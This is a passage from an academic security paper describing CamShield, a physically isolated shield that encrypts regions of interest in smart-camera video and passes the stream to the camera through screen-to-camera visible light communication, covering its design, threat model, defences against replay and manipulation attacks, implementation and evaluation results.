Screen-to-camera communication is a form of visible light

communication (VLC). It transmits data from screens to cam-

eras [42]. At a high level, one device displays QR-code-like vi-

sual content on the screen, and the other uses its camera to cap-

ture and decode the QR-code stream. It has become a popular
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way to bridge devices that cannot be conveniently connected

by traditional means [42]. Recent research [38, 40, 57, 58, 66]

improved the screen-to-camera communication primarily on

throughput and invisibility.

CamShield uses VLC to build the one-way data path be-

tween the CamShield device and the shielded smart camera.

Its VLC design is inspired by existing work, but due to its

unique scenario, it differs from them in many aspects. It does

not pursue invisibility [57] and has a fixed field of view, which

allows for simpler designs in some aspects. On the other hand,

it needs to handle color dispersion, high compression noise,

and at the same time achieve high and stable throughput with

a low camera sampling rate. These technical problems are

unique and have not been explored.

3 Threat Model

The overall goal of CamShield is to preserve the function-

alities of the smart camera and protect its sensitive visual

contents from being leaked.

As it has been reported, we assume a remote attacker may

leverage some loopholes to compromise the network [24] and

the cloud service [14] of the smart camera. For a powerful

attacker, we assume it might take full control of the camera [1],

including accessing and modifying the captured video.

As shown in Figure 1, we assume the CamShield device is

correctly installed on the smart camera. We would like to use

the CamShield to protect the information of the raw videos

on the owner’s demand. The raw videos are videos captured

by the smart camera as if it is not shielded by the CamShield

device. We want to ensure that the authorized parties, e.g., the

owner’s CamShield App, can get full access to the raw videos,

and the unauthorized parties, e.g., the attackers, third-party

cloud, will be regulated by the privacy policies issued by the

device owner. We assume there will be a trusted initial setup

phase where the CamShield device and CamShield App can

exchange keys securely, e.g., a user buys a new CamShield

device and pairs it with the CamShield App.

We assume that the attacker does not have physical access

to the CamShield device. A physical attacker can tamper, alter,

and disable software and hardware components. We note that

software attestation and solid manufacturing can increase

the complexity of such attacks, but both are out of the scope

of this paper. A physical attacker at close proximity might

attempt to perform side-channel attacks to gain credentials,

which is also out of the model. The attacker having direct sight

on the smart camera might attempt to use optical tools, e.g.,
laser projector, to interfere with the CamShield’s operations.

Optical shielding, e.g., curtain, can overcome such attacks. We

note that the CamShield can resist simple physical attackers

such as copying video content via common data interfaces

like USB, which it simply does not have.

We assume the way the owner consumes the raw content

is secure. We assume that the attacker does not compromise

the CamShield App. The CamShield App represents an ap-

plication of a general trusted computer. It can be but does not

have to be a smartphone app like our current implementation.

For example, it can also be installed on a trusted desktop with

strong security protection. A trusted computer might have dif-

ferent implementations. In the harshest scenario, where any

network attacks might occur, a program can still be executed

with hardware-based TEE [32]. We also assume the attacker

cannot spy on the monitor to view the raw video, e.g., via

social engineering and optical reflections [25].

We do not handle denial of service (DoS) attacks, e.g., the

compromised smart camera refuses to stream videos, since

they do not hurt privacy. We also do not handle side channels

of the network traffic, e.g., inferring activity through event

timing [45], which can be eliminated by injecting dummy

event notifications.

4 Overview

The hardware and software architecture of the CamShield

device is shown in Figure 2 and Figure 3, respectively. The

rightmost camera in Figure 2 is the smart camera to be secured.

It is denoted as a sink camera, i.e., there is no information

flowing from the sink camera to the CamShield device.

As shown in Figure 2, the hardware of the CamShield de-

vice consists of five components: visual sensor, processing

unit, screen, lens, and LEDs. The leftmost one is the visual

sensor of the CamShield. It takes the place of the visual sensor

of the sink camera and captures video frames to the mem-

ory of the processing unit. The processing unit manages the

visual sensor to its left and the screen to its right. It is also

responsible for executing image/video processing algorithms,

encryption, and communication protocols. The screen is used

as the output interface to convey encrypted video streams

from the CamShield device to the sink camera. In front of

the sink camera, we put a lens to focus the sink camera on

the screen. There are two LEDs connected to the processing

unit. The inner alarming LED is used to trigger the motion

detection mechanism of the sink camera. The outer Msg (mes-

sage) LED is used to inform the owner about the status of the

CamShield. Finally, all of the above components are packed

into a 3D-printed shielding case, which can be attached to a

general smart camera through the adjustable seizers.

The overall software workflow of the CamShield device

is shown in Figure 3. The CamShield first enforces typical

ROI-based privacy protection on the captured video stream.

We adopt standard CV modules to detect the ROI areas of the

raw videos. While compressing the raw video, the encryption

module encrypts the video content belonging to the ROI areas.

Then, the CamShield encodes the encrypted and compressed

video stream into VLC frames, which are filled into the frame

buffer and displayed on the CamShield screen. The VLC

frames are captured by the sink camera and transferred to

the CamShield App over the network. The owner uses the
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Figure 3: Software Workflow of the CamShield Device.

CamShield App with the key to retrieve the raw video streams

captured by the CamShield, which basically follows a reverse

process of encryption and VLC encoding.

In the following sections, we introduce the VLC data path

in Section 5, the ROI-encryption and configuration in Sec-

tion 6, and the compatibility designs in Section 7. We discuss

other design choices in Section 8.

5 One-way VLC Data Path

The CamShield device is isolated from the network for se-

curity considerations, but there must be a way to transfer its

video stream to the owner. From the security perspective, any

two-way connections such as Bluetooth, USB cable might

bring breaches to the isolation. Further, as we also want to

secure smart cameras already in use, the installation must be

simple enough, better without hardware and firmware mod-

ifications. CamShield takes advantage of the visual sensing

capability of the sink camera to construct a one-way VLC

data path that meets all these needs.

5.1 VLC Overview
At a high level, the VLC works like scanning a QR-code

stream. An example of the VLC frame is shown in Fig-

ure 4 (a), which looks like a colored QR-code. The CamShield

chops the captured video stream into sequential pieces and

loads them into VLC frames (see Section 6). VLC frames

are displayed sequentially on the CamShield’s screen and

captured by the sink camera. Through decoding the captured

VLC frames, the loaded video stream can be extracted.

To formally describe the VLC design, we use the following

notations. A VLC frame for transmission i.e., txFR, is a matrix

of pixels, with each matrix element representing the color of

the pixel. Our VLC scheme uses different colors to represent

bits. In practice, a single pixel is usually too small to be robust

to noises, hence neighboring pixels are grouped to illustrate

the same color. We use a k×k square block to group them.

Pixels in the same block have the same color. A subscript n is

used to denote the sequence of the VLC frames, e.g., txFRn
is the n-th transmission frame. Similarly, rxFR denotes the

VLC frame captured by the sink camera. rxFR is related to

txFR, but is distorted and even merged from multiple txFRs.

Extracting information from rxFRs is the major challenge

of the VLC design. While there are plenty of existing VLC

implementations, we face unique challenges specific to the

CamShield’s unique scenario.

5.2 Calibrating Distortions
To perform VLC decoding, the initial step is to determine

the area of txRF in rxRF. Then, the location of blocks can be

determined and their colors and hence bits can be extracted.

In practice, this process is not straightforward due to various

distortions. For example, most VLC systems are subject to

perspective distortions [47], which transform the txFR to

a trapezoid when viewing the screen from an angle. The

CamShield’s screen is fixed towards the sink camera and thus

is free of them. However, it is subject to another two types of

distortion, which are rooted in the compact form factor of the

shield.

5.2.1 Lens Distortion
Smart cameras are designed to capture scenes centimeters

away, but the screen of CamShield is placed only several

centimeters in front of the sink camera. This distance is below

the minimum object distance of most smart cameras [7], and

thus leads to significant blur 1. Similar to wearing glasses, we

add a lens to refocus it on the screen, as shown in Figure 2.

A side effect of adding a new lens to an imaging system is

the lens distortion. As shown in Figure 4 (b), straight lines of

pixels bend outward from the center of the image.

5.2.2 Chromatic Distortion
Another subtle problem of the new lens is that the distor-

tions differ among colors. The reason is that the lens has

different refraction ratios for different colors of light. As a

consequence, the focal plane or the magnified size slightly

differs among colors [4]. The more the incidence location

from the center of the lens, the more color dispersion can be

observed. As shown in the zoomed part of Figure 4 (b), the

blue and red components are shifted off to the right and left

of the original white square. Quite similar to the TikTok icon.

This adds complexities in determining the precise locations

of the blocks, as their locations are different when displaying

different colors.

1like our eyes, the distance that they see clearly has a wide range but does

not cover the nose.
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Figure 4: VLC Design. The CamShield device uses the screen-to-camera VLC to convey encrypted videos to the sink camera. A

VLC frame is shown in (a), which uses the 8-color modulation scheme in (d). The Grid and Color Palettes preamble frames in (c)

are used to calibrate various distortions and biases. The VLC is subject to the rolling shutter effect, which merges transmission

frames (txRF) if they are captured (rxRF) during screen refreshes. We use frame interpolation in (e) to minimize the difference

between adjacent frames to amortize throughput penalty.

We note that the above two types of distortion are so unique

that they have not been addressed in other VLC systems. Since

the pixel blocks must be located at the pixel level, existing

distortion adjustment methods cannot be used due to ineffi-

cient accuracy. For example, the anchor fields [12] used for

adjusting the perspective distortion are not applicable, since

pixels are distorted non-linearly in space. Model-based cali-

brations [68] are not accurate enough either, since the general

mathematical distortion model does not perfectly fit the actual

distortions.

Our calibration method is motivated by wireless communi-

cation, where distortions are measured by a known sequence -

the preamble. The distortion is quantified by comparing the

received preamble with its ideal values. We adopt a similar

method by introducing a preamble frame prior to the VLC

data frames. As shown in Figure 4 (c), the preamble frame

is a black and white chessboard with a grid size equal to the

block size. We use CV methods to accurately localize every

black and white block in the rxFR and their locations are

recorded. To handle chromatic distortion, the above process

is performed in the Red, Green, and Blue channels indepen-

dently. These locations are used to index the blocks in the data

VLC frames to extract colors and thus the information that

they convey. Note that since the CamShield is fixed to the sink

camera, the block locations are stable, hence the preamble

frames are played only in the initialization process after the

device boot. Optionally, they can be inserted once for a while

to increase stability.

5.3 Boosting Throughput via Color Modulation

Even if the color blocks are perfectly located, it remains diffi-

cult to convey High-definition (HD) videos, which has been

the default resolution of current smart cameras. For streaming

720p HD videos, the minimum required data rate is 768 kbps

when using the HEVC (H.256) compression [21]. As the sam-

pling rate of the sink camera is fixed at 20 fps or 15 fps in

most COTS smart cameras, a single rxFR must at least contain

38.4 kb. For a quick comparison, the capacity of the densest

standard QR-code is 23.6 kb [12].

A typical way to increase the capacity is to use multiple

colors in one block to represent information. If the color is

chosen from Nc different colors, log(Nc) bits are contained in

one block. The modulation scheme determines how the colors

represent bits. An 8-color modulation scheme is shown in

Figure 4 (d). However, Nc cannot be ultimately increased due

to the following noise sources in rxRF: First, the sink camera

adopts multiple non-configurable schemes to auto-adjust the

contrast, brightness, saturation, etc., of the captured video.

These schemes work as blackboxes and bring color biases

to rxFR. Second, some cameras we tested have the vignette

effect [22], where the center area of rxFR is brighter than the

periphery areas, which affects the block color spatially.

We note that while the auto-adjustment and the vignette

effect are model-dependent, they can be calibrated with an-

other preamble frame. As shown in Figure 4 (c). This frame is

filled with identical color palettes, showing the colors used by

txFR. These palettes are used as the reference for decoding.

i.e., choosing the closest color in the palette for determining

the color of blocks in rxFR. Since the palettes are piled up on

the entire screen, the bias caused by the vignette effect can be

compensated as well.

5.4 Amortizing Rolling Shutter Effect
The rolling shutter effect is caused by unsynchronized line ex-

posure of the CMOS sensor array [40]. When an rxFR is taken

during the transition period between txFRi and txFRi+1, the

rxRF will be a merge of txFRi and txFRi+1. Some of its por-

tions are from txFRi, as these lines expose first, while others

are from txFRi+1. Since the camera exposure and the screen

refresh are not finished instantly, a large portion of rxRF is a

merge from both txFRi and txFRi+1, which complicates the

color extraction [66].
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Figure 5: Example of ROI-Based Video Encryption. The

frame is encrypted in units of tiles. The tiles overlapping with

the ROI are encrypted and their visual contents are destroyed.

Exiting work proposed several solutions. A very recent

work, ERSCC [66], achieved the best-reported results, i.e.,
log(4.36) bits per block. It separates the colors in merged

areas but its throughput cannot be further improved as the

separation depends on a limited number of encoding colors.

An alternative solution is to abandon the merged areas and

use the error correction code to automatically make use of

the information in the merge-free areas [58]. In this way, the

merged frames contain less information while the merge-free

frames contain more. When putting them together, all of them

adaptively contribute to the overall capacity. However, due to

the slight rate misalignment of rxFRs and txFRs, the merged

frames occur in periodic bursts. Each burst might last for

several seconds or even more. The actual capacity during

such a worst-case period is very low, which results in video

streaming latency and usability frictions.

The application scenario of CamShield has stringent re-

quirements for both throughput and latency. To make use of

VLC for such a purpose, we handle the rolling shutter effect

in a distinct way: instead of splitting the merged areas in every

frame or leaving them alone in a burst, we propose a hybrid

scheme that intentionally distributes the merged areas evenly

among all the rxFRs to amortize their negative impact, and at

the same time, incorporates more colors in a block to maintain

the capacity.

The key insight is that the merged areas occur only when

the content of consecutive txFRs are different. If we keep the

consecutive txRFs as similar as possible, then the merged area

will be reduced. To do so, our approach takes advantage of

the asymmetric frame rate of txFR and rxFR. As mentioned

earlier, the rxFR rate is usually up to 20 fps, and the txFR rate

of a typical LCD screen is around 60 fps. That is to say, the

frame rate of txFR is at least 3 times that of rxRF. As shown

in Figure 4 (e), instead of refreshing the entire txFR, which

results in a large merged area if the rxRF encounters the re-

fresh period, our method is to gradually change, or interpolate

VLC Data 
Frame Coded with Error Correction Code

NALU 
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Tile
Info

Tile0
Data … NALU 

Header
Tile
Info

Enc( key, nonce, Tilek Data ||
Hash( Framei || timestampi ))

…

Seq CRC Frame0 Framei Framen… …

Video
Framei
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Figure 6: VLC Frames for End-to-end ROI-Encryption
and Transmission. Video frames captured by the CamShield

device are encrypted based on the ROI information and in

units of a tile. Multiple encrypted video frames are packed

into a VLC data frame for transmission. The VLC frame is

coded with error correction codes to resist the noise of the

VLC channel.

txRFs by making any adjacent txRFs differ by 1/3 parts. In

this way, for any rxRF, at most 1/3 is affected by the rolling

shutter effect, while the remaining 2/3 is unaffected. The over-

all capacity is stable at 2/3 of the merge-free case (it relies

on an inter-frame coding scheme explained in Appendix A).

We also note that the capacity can be further increased if high

refresh rate screens are used, e.g., 120 Hz LCDs are becoming

prevalent in the latest smartphones and PC monitors.

6 ROI-based Video Encryption

CamShield adopts a typical ROI-based video encryption

framework. It first uses standard CV methods to identify ROI

regions, and then encrypts them. We refer the reader to the

ROI-based video encryption schemes [33] for more technical

details. This section describes the end-to-end video transmis-

sion protocol built upon the ROI encryption and the interface

used to configure the ROI-based privacy policies.

6.1 End-to-end Video Delivery

CamShield uses encryption to secure the information be-

tween the CamShield device and authorized parties, e.g., the

CamShield App. To fulfill our security goals, we adopt ROI-

based encryption instead of encrypting the whole frame. ROI

encryption allows the owner to flexibly specify the areas they

would like to protect. It leaves room for the owner to trade off

utility and privacy, e.g., disclosing more information to the

cloud might gain a better user experience.

The encryption is based on a pre-shared secret, i.e., a sym-

metric key. The key is shared through a trusted initialization

step. For example, the key of a CamShield device is sealed

in its hardware and is printed on a disposable paper shipped

with the new device. The device owner inputs the key into

the CamShield App to authorize it to access the encrypted

information.
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}
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Figure 7: ROI Configuration Interface. The CamShield device allows the owner to flexibly configure the ROI policies in (a)

with the configuration message ConfigMsg in (c). A challenge and response protocol in (b) is used to authenticate ConfigMsg.

Modern video coder-decodes, such as HEVC (or H.265),

divide a video frame into uniform rectangles, i.e., the tiles.

HEVC provides a clean interface - the Network Abstraction

Layer (NAL), to pack tiles into NAL units (NALU) for gen-

eral network transmissions. CamShield’s video encryption

and transmission take advantage of this feature. The structure

of VLC frames from the CamShield device is shown in Fig-

ure 6. We highlight several points: 1) Multiple video frames

after HEVC compression are packed into one VLC frame.

2) Each video frame contains multiple encrypted and unen-

crypted tiles. Any tile overlapping with the ROI is encrypted

with the key and a randomly-generated nonce. The nonce

is inserted between the NALU header and the NALU data.

The remaining tiles are left unencrypted for the third party to

make use of. 3) An ordinary HEVC player can still render the

encrypted tiles but the visual content is destroyed (see Fig-

ure 5). To identify the encrypted tiles in the CamShield App,

we use a reserved bit in the NALU header as the encryption

indicator, and set it to “1” for encrypted tiles. 4) The data of

the whole frame and its timestamp are hashed and appended

to the encrypted content for integrity and authenticity.

6.2 ROI Policy Configuration Interface
CamShield allows the owner to flexibly configure the pri-

vacy policies to specify how its ROI-based encryption works.

An example of the policy entries is shown in Figure 7 (a),

which looks similar to the Access Control List (ACL) rules

of firewalls. Each row of the table defines the CamShield’s

protection behavior of the associated ROI.

The ‘Index’ and ‘ROI’ uniquely identify the policy of that

ROI. The ROI detection can be conducted by multiple meth-

ods, which are specified by the ‘Alg.’ column. The ‘Invert’

column specifies the ROI region as the detected region or the

corresponding complement region, e.g., the body or the back-

ground other than the body. The ‘Time’ column and ‘Enable’

column determine when and whether this policy entry should

be enabled. Multiple ROI policies can be enabled simultane-

ously, where the ROI region is the union of the regions of all

the enabled ROIs.

To allow the owner to configure ROI policies, the

CamShield preserves a convenient and secure input interface.

It not only allows for configuring devices out of the cabling

range but also retains physical isolation. The idea is to lever-

age the CamShield’s visual sensor to scan the information

displayed on the CamShield App. Specifically, the owner uses

the app to generate a QR-code containing the configuration

message, and shows it to the CamShield to configure it. An ex-

ample of the configuration message for modifying the active

period of the face ROI is shown in Figure 7 (c).

As the configuration interface is very sensitive, we use a

typical challenge and response protocol shown in Figure 7 (b)

to protect it against spoofing and replay attacks. To start the

configuration, the CamShield App first displays a QR-code

showing the HELLO message. Once the CamShield receives

the HELLO, it sends a challenge message REQ containing

a nonce to the app through the VLC data path. The app re-

sponses to the challenge with another QR-code called RES,

which contains the hash of the nonce and the shared key. Since

the key is only shared with the authorized CamShield App,

the CamShield authenticates the app by verifying the hash.

If the authentication is correct, the CamShield accepts the

encrypted configuration message, i.e., ConfigMsg, appended

in the RES message.

In addition to the configuration interface, CamShield uses

a MsgLED to physically notify the owner about its working

status, e.g., whether the Face ROI is enabled. This interface is

used to avoid possible breaches due to the owner’s subjective

factors. For example, if the owner forgot to enable the ROI

(for some reason it was disabled), then the CamShield can

do nothing to protect privacy. Similar usability designs are

essential to practical protection systems [39]. The CamShield

prototype will allow us to continue the study on its usable

privacy and security issues in future work.
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7 Compatibility Designs

The major usability goal of CamShield is to preserve the

functionalities of the shielded smart camera. The primary

function of smart cameras is video previewing We further

identify two other features that are valuable to users: motion

detection and cloud video analysis. This section describes our

designs to preserve them after introducing the CamShield.

Real-time Preview: Current COTS smart cameras achieve

real-time video preview mainly in two ways: via direct IP con-

nections or centralized servers. The majority of smart cameras

in the market use the first solution. The smart camera stores

videos locally and streams preview to the companion app

via standard protocols such as RTSP. 2 With proper config-

urations [20], the CamShield App can directly receive their

videos. The representative product of the centralized solu-

tion is the Google Nest camera. Its videos are encrypted and

uploaded to the cloud storage. When the user requests, the

cloud distributes the video to the native app. Since directly

accessing these videos is hacky and ad-hoc [8], we propose

to download and copy the video clips from the native app to

the CamShield App to decode. We note that this process does

not involve manual overhead since it can be automatized by

tools such as Tasker [19].

Emulating Motion Detection: Usually, the smart camera

detects motion locally, and then sends notifications (includ-

ing a video clip or figure showing the detected event) to the

companion app. The problem is the sink camera can only

capture the VLC streams rather than the real scenes (see 1st

and 2rd design choices in Section 8). Our approach follows

the replication idea. The CamShield device detects the motion

by analyzing the video stream, and then stimulates the sink

camera to generate motion notifications to the Internet. To

save the screen resource for VLC, it blinks an alarming LED

inside the shielding case to emulate the motion event. As the

VLC streams shown on the screen might also be treated as

motions and cause false alarms, we leverage the virtual fenc-

ing feature of the sink camera to exclude the screen showing

the VLC streams from the motion detection areas.

Cloud Analysis: In centralized solutions, the video

streams from the sink camera are uploaded to the cloud stor-

age, but the content is still the VLC streams. As the VLC

decoding algorithm is publicly known and no encryption is

applied on VLC frames, it is possible for the cloud servers to

implement the VLC decoding to analyze the videos from the

CamShield. Since current cloud servers have not supported

this feature, we make a workaround: the CamShield App de-

codes the VLC streams and uploads the ROI encrypted videos

to the cloud for video analysis.

2The solution might also have servers responsible for setting up connec-

tions and relaying streams if necessary [16].

8 Design Choices

This section discusses the design choices behind CamShield.

VLC v.s. Bare-metal Videos: Another way to deliver the

video stream to the smart camera is to directly play the

recorded video on the CamShield screen. This bare-metal

approach has good compatibility since it directly delivers sim-

ilar scenes as the ones not using the CamShield to the camera.

However, due to noise, the video quality of the re-recorded

video is much lower. Further, the re-recorded video does not

preserve encryption, i.e., if the video is ROI-encrypted, even

the authorized entities cannot decrypt and recover the raw

video, affecting the usability of the smart camera.

Decoding VLC at App v.s. at Smart Camera: The orig-

inal functionalities of smart cameras can be retained by de-

coding the VLC streams locally to obtain the video content

from the CamShield and then feeding the content into the

camera’s original processing pipeline. However, it requires

firmware modification. This is possible but practically hard.

To our knowledge, very few cameras have open firmware that

can be modified 3.

Encrypting Video v.s. Encrypting VLC: The VLC data

path is like an end-to-end tunnel from the CamShield device

to the app. An alternative way to secure the video data is

to encrypt the entire VLC payload. The two approaches are

not exclusive and can be used simultaneously. The reason we

choose unencrypted VLC streams is to leave an interface for

cloud analysis (recall Cloud Analysis in Section 7).

Motion Notification via Stimulation v.s. via VLC: Even

though the CamShield device can send notifications to the

CamShield App via the VLC data path, the app must always

be active to decode the VLC streams in order to get notifi-

cations in time. This is not a good choice for devices with

power constraints, e.g., smartphones.

9 Security Analysis

Many reports suggest that the videos recorded by the smart

cameras might be transparent to attackers due to unsecured

network connections [24], malicious cloud overlays [14],

or even compromised camera systems [1]. However, with

CamShield, the private ROIs contained in the smart camera’s

videos are still confidential. This is because they are encrypted

by the shield rather than the smart camera. The attacker can-

not decrypt the content without the key. Since the CamShield

device is isolated from the smart camera and the network, it

operates as it is expected to and naturally resists many types

of network-based attacks. In the following, we discuss several

non-trivial attacks.

Video Manipulation Attack: The attacker with full con-

trol of the sink camera may first decode the VLC stream, alter

some parts of the video, and regenerate the VLC stream to

3A hacked case is https://github.com/TheCrypt0/yi-hack-v4
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Figure 8: Hardware Prototype of the CamShield Device. (a)(b)(c) show different hardware components in Figure 2. The top

view (a) shows how the CamShield device is installed on a COTS smart camera. (d) is the 3D-model of the case.

lead the owner to misconfig ROIs. For example, if the ROI

policy was configured to ‘none’, i.e., the raw video is not

encrypted. The attacker can modify the video content to forge

some ROIs as if they have been protected, hence fooling the

owner that the camera has been protected. CamShield in-

volves two mechanisms to defend against this attack. First,

the CamShield device has a Msg LED to physically notify the

protection status, e.g., blinking to indicate the ‘none’ policy.

Second, all the video frames from the CamShield have an

integrity check whether there is ROI or not (Figure 6). Thus,

the CamShield App can identify whether the video content is

modified or not.

Video Replay Attack: Similar to the video manipulation

attack, this attack assumes the ROI protection was turned off

by the owner for some reason, and the attacker does not want

the owner to be aware of it being turned off. The attacker may

record the VLC stream when the ROI protection is enabled,

and replay the record stream to the owner when the ROI

protection is disabled [34]. Even though the recorded video

is not tampered with, the replay can be detected since the

timestamp is no longer valid.

Multi-device Colluding Attack: An advanced attacker

might be able to control other co-located smart devices to

compromise the CamShield. For example, if the attacker can

control the co-located TV within the scope of the CamShield,

it can initiate the CamShield configuration process by dis-

playing or replaying QR-codes on the TV screen to modify

privacy policies. Despite the high requirements, the nonce

and timestamp in the RES message in Figure 7(b) are used to

defend against unauthorized configurations.

ROI Failure Attack: The ROI-based encryption allows

the owner to adjust the privacy policies. It relied on CV al-

gorithms to identify ROIs, whose accuracy, while in many

cases is comparable to the human cognitive system, is not

100%. A patient attacker can wait for the failures, e.g., an ROI

detection miss, to partially gain the sensitive information. The

ROI-encryption cannot strictly eliminate this attack. Possible

defense approaches are to keep CV algorithms up to date (see

discussion in Section 12) or use full encryption (sacrificing

functionality for security)

10 Implementation
We describe the implementation of the CamShield device and

the CamShield App below.

10.1 CamShield Device

Hardware. We prototype the CamShield device with

COTS components and a 3D printed case. Nvidia Jetson Nano

board [10] is used as the processing unit. The visual sensor is

Raspberry Camera V2.1, featuring 60 fps@720p. The visual

sensor is directly connected to the CMOS Serial Interface

of the Nano board. The screen is SHARP LS029B3SX02

1440×1440@60fps, which is driven by an HDMI driver board.

We use a lens of 60 mm focal length to focus the sink camera

to the screen. Two LEDs are connected to the GPIO pins

of the Nano board as the alarming LED and Msg LED. As

shown in Figure 8, the above components are attached to a 3D

printed case. The CAD file of the case is shown in Figure 8(d).

The LCD screen is placed in a movable slot so that it can be

adjusted to fit the focal plane of the smart camera.

Software. OpenCV v4.1.0 and Tensorflow v1.14 are

used to implement the ROI detection. For fast prototyp-

ing, we used shipped detectors. HaarCascade [56] and

SSD+MobileNet [18] are face detectors. Histograms of Ori-

ented Gradients [31] is used to detect pedestrians and Scene

Text Detection [69] is used to extract regions containing text.

The ROI detection module is also reused for motion detec-

tion (Background Subtractor MOG2 [70]) and decoding con-

figuration message from QR-code decode (pyzbar 0.1.8 li-

brary [12]). The ROI encryption is based on an open-source

HEVC codec [55], which outputs the encoded video tile as a

Network Abstract Layer Unit (NALU). We adopt AES-GCM

for encryption. For VLC encoding, we utilize the Real-time

Transport Protocol (RTP) as an intermediate helper layer to

pack the NALU stream first and then to the VLC data frame

shown in Figure 6. To counter the errors in the VLC chan-

nel, Reed-Solomon (RS) codes are used for error correction

(Python reedsolo library [13]). To avoid burst errors, we use

Python commpy library for data interleaving before RS en-

coding. Bits are modulated by color modulation. To achieve

real-time video rendering at 60 fps, the encoded frames are

piped to GPU via the Gstreamer pipeline [9].
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10.2 CamShield App
Currently, the CamShield App works with smart cameras sup-

porting RTSP streaming protocol. The app is responsible for

VLC decoding, ROI decryption, and video rendering. We im-

plement it on Xiaomi Mi Mix 2S with Qualcomm Snapdragon

845 and Android 10.

The VLC decoding first locates all blocks in the preamble

through the C++ robust corner detection algorithm [36] with

the Java Native Interface (JNI). For data decoding, it calls the

JAVA ReedSolomon library in zxing [6]. The ROI decryption

is a reversed process of the ROI encryption. Firstly, we unpack

the VLC frame to retrieve the NALU stream. Then, for each

video frame in the NALU stream, we find out all encrypted

NALUs through the flag in the NALU header. Next, we verify

the integrity and time of the frame by checking the hash.

Finally, we obtain the whole frame (ROI + non-ROI) through

the HEVC decoder. To realize real-time video display on

smartphones, we implement a pipeline scheme to speed up

the whole workflow (see Appendix C).

11 Evaluation
This section evaluates the VLC performance, the ROI encryp-

tion, and the compatibility designs.

11.1 VLC Evaluation
This subsection evaluates the VLC performance and the ef-

fectiveness of the design components.

Overall Performance: We evaluate the performance of the

VLC data path on different smart (sink) cameras shown in Ta-

ble 1. Due to the impact of resolution, focal length, automatic

image tuning, etc., the properties of the VLC channel vary by

camera model. Thus, we adjust the default VLC parameters

(see Appendix B) for different camera models to achieve their

best performance. Figure 9 (a) shows the highest throughput

of each camera model. The results show that XiaoMi, Ezviz,

and YI models could achieve a throughput of 300 to 500 kbps,

meeting the requirement of streaming 720p@10 fps video.

The Hikvison model is able to support 720p@20 fps, since

it has higher resolution and allows manual configuration to

disable the image auto-tuning, e.g., white balance, saturation,

exposure, etc. The results show that the VLC data path can

fulfill the requirement of streaming HD videos.

Grid Preamble for Distortion Calibration: We evaluate

the effectiveness of calibrating lens and chromatic distortions.

We compare our calibration scheme with a simple calibration

scheme that uses the same block locations for the three RGB

channels. The results are depicted in Figure 9 (b). In the

simple calibration scheme (combined location), more blocks

are mislocated, which is obvious in the red and blue channels.

Our calibration scheme (decoupled location) achieves better

performance as the three channels have different distortion

characteristics.

Brand Model
Frame

Rate (fps)
Resolution

Disable

Auto-tuning

Hikvison
DS-2CD3T5

6FWDV2-I3
20 2560x1920 Support

XiaoMi CMSXJ25A 20 1920x1080 No

Ezviz CS-C6CN 15 1920x1080 No

YI YYS.2919 15 1920x1080 No

Table 1: COTS Smart Cameras Used in Evaluation.

Color Palette Preamble for Color Bias Calibration: We

test different schemes for mapping colors to bits. First, we

choose HSV as a representative color space for directly clas-

sifying colors without the reference of the palette [59]. As

shown in Figure 9 (c), its performance is not good enough.

The main reason is that the hues of the colors have over-

lapping areas, resulting in demodulation errors. Second, as

identical color palettes are piled up on the screen, we test

three schemes to choose the decoding reference: 1) Single:

use the closest palette; 2) Local: use the average of multiple

single-palettes in a small area; global; 3) Global: the average

of all palettes. As shown in Figure 9 (c), the local palette

achieves the lowest error rate. It is better than the Single since

it is less noisy.

Frame Interpolation: We use Fr to denote the rate at which

the VLC transmitter refreshes its content (its maximum value

is the CamShield screen refresh rate). To show the proper-

ties of the frame interpolation scheme, we compare it with

two simple approaches: 1) Fr is half of the capture rate, i.e.,
Fr=10 fps; and 2) Fr is the same as the capture rate, i.e.,
Fr=20 fps. The screen refreshes at full rate in our scheme,

i.e., Fr=60 fps, but only 1/3 parts are refreshed in adjacent

frames. Results are shown in Figure 9 (d). When Fr=10 fps,

the sink camera can always capture a merge-free frame as its

rate is 2 times of Fr. So its decoding rate (the percentage of

correctly decoded bits) is high. However, as most rxRFs are

duplicated, the overall throughput is low. When Fr=20 fps,

the sink camera is almost synced with the screen, the ideal

throughput would be two times of the Fr=10 fps case. How-

ever, as their actual refresh rates are slightly different, the

rxRFs encounter screen refresh periodically, resulting in con-

secutive undecodable merged frames. As a result, the average

throughput of this case is high but its throughput fluctuates,

which is also reflected in the decoding rate curve. Our scheme

can achieve 757 kbps, slightly less than the Fr=20 fps case,

but its decoding rate is 99.5%, indicating stable performance.

11.2 Evaluation of ROI-based Encryption
This subsection shows the effectiveness of the ROI-based

encryption in protecting the visual information.

Effectiveness of Content Protection: We adopt two image

quality metrics: Peak Signal to Noise Ratio (PSNR) and Struc-

tural Similarity (SSIM). PSNR compares the noise level of the

processed image and the original one. Larger PSNR means

less noise. SSIM compares the similarity of two images. Large

SSIM means two images are similar. The videos are collected
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Figure 9: VLC Evaluation.

Scenario Description

meeting Three men sit around the table for a meeting. There

are two cans of drinks, a bottle of water and a set of

keyboard and mouse on the table.

lecture A man in a plaid shirt writes and draws on the white

board. He occasionally looks at the camera.

office A man in a knitted hat looks at the camera and talks to

the camera, holding a whiteboard marker in his hand.

Table 2: Scenarios of Captured Videos.

in three public places 4. The detailed scenario descriptions

are shown in Table 2. Human face is selected as the ROI.

The videos are compressed by the HEVC codec with and

without the ROI-based encryption. Their ROI regions are

compared with that of the original frames. Results in Ta-

ble 3 show that the average PSNR and SSIM of all scenarios

using ROI-based encryption decrease significantly over the

No-encryption cases, meaning that the encrypted areas are

quite different from the original ones.

Effectiveness of ROI Detection: The CamShield is based

on CV algorithms to detect the ROI areas. For the legacy

OpenCV detector (HaarCascad), the false-negative rate is

around 3% in the meeting and office scenarios, and 10% in

the lecture scenario. The false-positive rate is at the same level.

The detention misses usually occur when the face moves. The

neural network detector (SSD+MobileNet) is more robust.

The false-negative rate is less than 1% and the false-positive

rate is close to 0% in the three scenarios. Unlike cryptographic

protection, ROI algorithm failure (false negative) can hardly

be completely avoided with current CV algorithms. This is a

common problem in ROI-based protection systems [41]. Our

suggestion is to keep the algorithms up-to-date and also use

stringent ROIs whenever possible, e.g., always encrypt the

full frame when the cloud video analysis is not active.

11.3 Evaluation of Compatibility Designs
This section evaluates the motion detection and cloud video

analysis capabilities of the smart cameras in Table 1 after the

installation of the CamShield.

4Collecting data in private places requires much more complex permis-

sions, and there is no difference in justifying our performance.

Scenario
No-encryption ROI-encryption

PSNR (dB) SSIM PSNR (dB) SSIM

meeting 34.43 0.90 9.08 0.292

lecture 35.27 0.91 11.41 0.323

office 35.74 0.91 9.02 0.324

